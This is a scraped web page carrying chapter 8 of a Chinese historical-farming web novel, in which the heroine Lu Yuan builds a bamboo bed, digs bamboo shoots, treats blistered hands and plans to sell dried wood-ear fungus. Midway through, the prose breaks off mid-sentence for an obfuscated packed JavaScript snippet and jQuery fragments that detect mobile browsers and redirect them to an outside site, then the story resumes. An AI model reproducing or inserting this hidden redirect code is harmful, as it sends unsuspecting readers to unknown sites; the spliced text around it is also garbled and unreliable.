默认冷灰
24号文字
方正启体

8. 第 8 章

作者:木妖娆本书字数:K更新时间:
    陆鸢观察了一会祁晟后,就端着水盆从屋中出来了。


    她得先确认祁晟是否有意识,之后再尝试一下,看能不能把他给刺激醒。


    现下,她得先尝试做竹床。


    她倒了水,问何老婆子:“老太太,后山坡菜地旁的那片竹林是谁家的?”


    何老婆子暼了眼她,问:“你要做甚?”


    陆鸢:“我想砍几根竹子回来,做张竹床。”


    何老婆子狐疑地上下打量了一下她,语气甚是怀疑:“你会做?”


    陆鸢如实回答:“不会,但可以尝试一下。”


    复杂的,她肯定做不来,但她可以做简易。


    老太太顿时皱眉道:“瞎折腾什么,想要睡床,那还不简单。”


    陆鸢闻言,眼神倏然一亮。


    何老婆子继而道:“俩孩子跟我一个屋,你跟晟哥儿一个屋不就成了?”


    陆鸢:……


    那她还是折腾吧。


    她笑得有点勉强,说:“虽我是个寡妇,但都没办过仪式,就这么睡一个屋,名不正言不顺的,对我名声不好。”


    何老婆子琢磨了一下:“也是,该名正言顺,我找人翻个黄道吉日,再买一只公鸡与你拜堂。”


    这话可惊着陆鸢了,但转念一想,反正只要不圆房,只应付地和公鸡拜堂,也行。。


    她看到何老婆子思索的神色,都能猜得出来似乎已经在琢磨成婚该准备什么物件了。


    陆鸢打断了何老婆子的琢磨,再次问:“山坡上的竹子可以砍吗?”


    老太太回过神,没好气道:“那些竹子都是咱们整个围山村的,村子里的人都可以砍,你去砍的时候,要是别人问起,就说我让你砍的。”


    有了何老婆子的话,陆鸢就放心地拿着柴刀出了门。


    到了小竹林,她也不急着砍竹子,而是找了一下,看看有没有竹笋。


    岭南盛产麻竹笋,七八月份,正是麻竹笋生长的旺季。


    这一找一个准,小竹林里到处都是。


    她不由纳闷,这里的人都不吃竹笋的吗?


    陆鸢挖了几个大竹笋堆在一块,等着一会拿背篓背回去。


    挖了竹笋,她才挑了一根碗口粗的竹子来砍。


    砍倒后,再劈了多余的枝叶。


    她拢共砍了三根竹子,陆鸢都已经累得直不起腰了。


    竹子一长根不好拖回家,得有锯子锯断才能带回去。


    她歇了一会,回家问何老婆子:“老太太,咱们家有锯子吗?”


    何老婆子又念了句:“净瞎折腾。”


    放下手中的东西,起身出了门,没一会儿就拿了一个锯子回来。


    “这是借人家大山媳妇的,你可别给我弄坏了。”


    陆鸢连忙点头。


    眼瞅晌午了,也该是时候做饭了。她先去把竹笋背回来,等吃完中食,确定好竹床样式后再去锯竹子。


    陆鸢把竹笋背回来,何老婆子看了眼,嫌弃道:“这麻竹笋又苦又涩,你弄这么多回来作甚?”


    陆鸢还真不知道没处理过的麻竹笋是苦涩的。她没吃过野生的麻竹笋,到市场买的都是人家已经处理好了的。


    可既然商家都能有办法去掉竹笋的苦涩,那么她也能想办法处理。


    陆鸢在脑海里过了一遍,应:“我想晒成笋干,兴许能去掉苦涩。”


    何老婆子皱了皱眉,但也没说什么。


    晌午,何老婆子终于舍得舀了小半碗的糙米出来,让陆鸢熬粥喝。


    看到糙米,陆鸢心想家里原来还是有米的。


    也甭管是精米还是糙米,反正可算是能吃上米了。


    她立刻舀水淘米,烧水起锅。


    晌午的中食,每人都分得大半碗粥。


    虽没有小菜,而且糙米粗糙,也剌嗓子,但每个人都喝得心满意足。


    吃完中食,李老汉也刚好过来了。


    来时,手上还提了一把韭菜,他与何老婆子说:“地里的韭菜快老了,就割了一把送过来给你们吃。”


    何老婆子脸色难道好一些,说:“那便谢过了。”


    等李老汉进屋,陆鸢也随在身后端水进去。


    像祁晟这种情况,每溺一回,都得擦一擦。全身擦澡的话,则是两三天一回。


    送了水,陆鸢也就出来了。


    她一直守在门外,听着里边的声响。


    屋中静悄悄的,李老汉也不出声,只一味地忙活,没一会就从屋中出来了。


    等李老汉一出来,她立马又进了屋子,观察祁晟的脸色。


    这回,祁晟的脸色如常,没什么变化。


    陆鸢并未因为这回正常,而放下怀疑。


    这一回,祁晟有可能是处在深度昏迷,意识没醒,还得继续观察。


    *


    陆鸢歇了半个时辰,就拿着树枝在地上涂涂画画,构思竹床结构。


    但无论怎么画,都得在竹子上打洞,可这一项在没有工具的辅助下,操作起来不仅费劲还很困难。


    最后,陆鸢放弃了调高的竹床,做成卡槽互扣的担架样式,也是落地的样式。


    确定好样式后,她一趟又一趟去后山坡,不厌其烦的把竹子拖回来。


    老太太看着她忙进忙出,心下纳闷。


    苏氏之前也勤快,却没有这般风风火火。她这两天就好像有永远花使不完的精力似的,连着干活的那股子劲都是蓬勃的。


    陆鸢把竹子都拖了回来,又歇了一会,才开始锯竹子。


    她要做的是一米八乘以一米二宽的竹床。所以长的约莫六尺长,短的约莫三尺长。


    两长一短。


    用柴刀刮去竹节口的毛边,刮至平滑后,锯子配合着柴刀,在四根竹子两端又锯又敲,弄出四个相同大小的凹槽。


    四根竹子以横竖叠放的方式互相卡住,这样不仅能固定四根竹子,防止滚动,也使得四根竹子在地上叠放时候,高度平整。


    接着,陆鸢把细竹也锯成三尺长度,连着据了五段,再逐一从中间劈开做两半。


    最后,用木炭在两根长粗竹对称的位置各画了十个凹槽位,再慢慢地锯开这些卡槽。


    两个孩子在旁边好奇地盯着看,都乖得很,没有打扰她。


    卡槽都敲好了,陆鸢把做好的竹子逐一搬进杂物房,在地上摆好四根粗竹子,形成了一个长方形,再把对半劈开的竹子一根根放到相对的卡槽中,就成了一张简易的落地床。


    竹床的形状,看着像是一把宽密梯。


    她转身把稻草垫和草席逐一铺到上边,尝试地躺了一下,稻草垫够厚,一点也不咯人。


    又试着摇晃了一下,虽然有点晃动,但还能接受。


    竹床离地只有半尺多高,但好歹是离开了地面,隔绝了一定的湿气,也能让她睡得心安一点。


    躺在竹床上,陆鸢放空了脑子,望着茅草屋顶,心下是满满的成就感。


    两个孩子也好久没睡过床了,看到刚做好的床,也兴奋地躺了上去。


    一个人躺着很宽,一个大人两个孩子躺着则刚刚好。


    呆呆的秋花在竹床上滚了几下,然后就滚到了她娘的身边,依偎着。


    陆鸢躺在上边一动都不想动了,太累了。


    她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478994|169989||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都能感觉到自己的手臂似有千斤重,抬都抬不起来了,手心也火辣辣地疼。


    躺了好一会,昏昏欲睡时,外边传来何老婆子的声音:“让老婆子给你们做饭就罢了,难道还要我请你们不成?!”


    陆鸢闻声,诧异地从床上起来。出了屋外,才发觉自己竟忙活了一天,现在太阳都已经要下山了。


    她拖着疲倦的身体走了过去,坐到了院中的破旧饭桌上。


    今天吃的是米糠韭菜饼。


    天天都是米糠,也不知道老太太到底囤了多少。


    吃过米糠韭菜饼后,她累得话都不想说了,也不想洗澡,但今天干活出了一身汗,浑身黏糊糊的,不洗也不行。


    再者不处理一下双手,明天就该抬不起来了。


    她烧了艾草水,水热后,她舀了满满一桶,趁热把双手全泡到了桶中,水直接没到大手臂。


    双臂浸泡热水,慢慢地,酸痛也舒缓了一些。


    泡了一刻,水只余温热,她便又添了几瓢热水,就着洗了。


    洗完,天色还未全暗下来,她摸到了手上起了好几个水泡,有点疼。


    向何老婆子借了针,烧红针来挑破水泡,疼得她龇牙。


    何老太婆实在看不下去了,把金疮药拿了出来,说:“得亏晟哥儿之前做的金疮药还有,不然你就疼着吧。”


    祁晟以前上山打猎,多少都会有点划伤,先前都是弄点止血的草药,后来救了一个上山采药的老大夫,老大夫就教他制做金疮药自用。


    何老婆子打开盖子,往挑破的水泡撒上金创药。


    刚开始上药有些刺激,疼得陆鸢抽了一声气。


    何老婆子暼了眼她:“忍着。”


    上了药,何老婆子又重复念叨了一句:“净瞎折腾。”


    陆鸢心道她都有床睡了,哪里算是瞎折腾?


    上金疮药时有点疼,但药劲过了之后,到时候有点清清凉凉的,还怪舒服的。


    今天太累了,陆鸢回屋后,几乎是沾床就睡着了。


    一夜无眠,天蒙蒙亮时,陆鸢便醒了。


    昨日疲劳过度,哪怕泡了艾草热水,双臂还是隐隐泛着酸疼。


    缓了一会,起床洗漱的时候,才发现水缸见底了。


    ……


    这一天天的,真真是有干不完的活。


    她转头看向祁晟的屋子,心说这男人啥时候才能醒。


    做不做夫妻是其次,分担一点活才是最重要的。


    洗漱后,陆鸢去河边提了两回水,先解决了做饭和洗漱的水,下午再提晚上洗澡用水。


    上午日头大,陆鸢把云耳拿出来又多晒了一会。等到晌午时。云耳已经干透了,她便装入簸箕中。


    她与何老婆子说:“明日一早我与陈家二嫂去赶集,这云耳要卖给谁?”


    何老婆子闻言,说:“云溪镇上有一家叫有客来的食肆,晟哥儿经常把打来的野味卖给那里的柳掌柜,所以与那掌柜有几分交情,掌柜平日里也会收云耳做菜。”


    “云耳难见,但云溪镇就这么大,想卖高价是不可能的,虽是如此,但也能换得六文钱一两。”


    这古代的重量是十六进制,也就是一斤有十六两。


    这样算的话,一斤云耳是九十六文钱。


    猪肉十三四文钱一斤,这云耳可比肉贵多了。


    可转念一想,又觉得不能这么算,这野生云耳难觅,且晒干后也没多少重量。她那些云耳要是按照十六进制算,估计约莫只有十两。


    十两是六十文,还得分何老婆子一半呢。


    钱还没到,就已经没了一半,可真愁人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)